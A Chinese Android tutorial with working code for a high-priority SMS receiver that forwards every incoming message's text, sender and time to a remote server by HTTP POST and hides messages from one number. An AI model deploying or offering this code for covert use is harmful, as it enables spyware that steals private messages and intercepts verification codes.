Android 短信监听器

来源:互联网 发布:手机读心术软件 编辑:程序博客网 时间:2024/04/29 15:30

当手机接收到短信时,Android系统会发出一个广播通知注册该事件的广播接受者。所以这个短信监听器是根据BroadcastReceiver来实现的。当短信监听器接收到广播事件后,获取数据,然后通过网络发送到服务器。下面是具体实现代码:


自定义的广播接收者:  MsmBroadcastReceiver.java

package com.lk.msmlistener;import java.text.SimpleDateFormat;import java.util.Date;import java.util.HashMap;import java.util.Map;import com.lk.utils.InternetUtil;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsMessage;import android.util.Log;public class MsmBroadcastReceiver extends BroadcastReceiver {    @Override    public void onReceive(Context context, Intent intent) {        // 通过pdus获得接收到的所有短信消息,获取短信内容;        Object[] pdus = (Object[]) intent.getExtras().get("pdus");        for(Object pdu: pdus) {            // 构建短信对象对象            SmsMessage smsMessages = SmsMessage.createFromPdu((byte[])pdu);            Map<String, String> map = new HashMap<String, String>();            String content = smsMessages.getMessageBody();            String from = smsMessages.getDisplayOriginatingAddress();            Date date = new Date(smsMessages.getTimestampMillis());            SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");            String sendDate = sdf.format(date);            map.put("content", content);            map.put("from", from);            map.put("date", sendDate);            String urlPath = "http://192.168.2.103:8080/WebTest/SmsServlet";            try {                InternetUtil.sendMessageByURL(urlPath , map);            } catch (Exception e) {                Log.e("smsListener", e.getStackTrace().toString());            }                        // 当短信来自号码为5556的用户,拦截它            if("5556".equals(from)) {                abortBroadcast();  //终止广播(这里要设置这个BroadcastReceiver的优先级)            }        }            }}

InternetUtil.java

package com.lk.utils;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import java.util.Map;public class InternetUtil {        public static boolean sendMessageByURL(String urlPath, Map<String, String> content) throws Exception {        if(content == null || content.isEmpty()) {            return false;        }        StringBuilder data = new StringBuilder();        for(Map.Entry<String, String> entry: content.entrySet()) {            data.append(entry.getKey());            data.append("=");            data.append(URLEncoder.encode(entry.getValue()));            data.append("&");        }        data.deleteCharAt(data.length() - 1);        byte[] buffer = data.toString().getBytes();                URL url = new URL(urlPath);        HttpURLConnection connection = (HttpURLConnection) url.openConnection();        connection.setConnectTimeout(5000);        connection.setRequestMethod("POST");        connection.setDoOutput(true);        connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");        connection.setRequestProperty("Content-Length", String.valueOf(buffer.length));        connection.getOutputStream().write(buffer);        if(connection.getResponseCode() == 200) {            return true;        }        return false;    }}

然后在清单文件中添加权限和声明该广播接受者:

    <!-- 访问网络的权限 -->    <uses-permission android:name="android.permission.INTERNET"/>    <!-- 接受短信的权限 -->    <uses-permission android:name="android.permission.RECEIVE_SMS"/>

        <receiver             android:name="com.lk.msmlistener.MsmBroadcastReceiver">            <intent-filter android:priority="1000">                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>            </intent-filter>        </receiver>

BroadcastReceiver有普通广播和有序广播之分。其中

普通广播:发送一个广播,所以监听该广播的广播接收者都可以监听到改广播。

有序广播:按照接收者的优先级顺序接收广播,优先级别在 intent-filter 中的 android:priority 中声明,-1000 到1000 之间 , 值越大 , 优先级越高。可以终止广播意图的继续传播,也可以篡改内容。


0 0
原创粉丝点击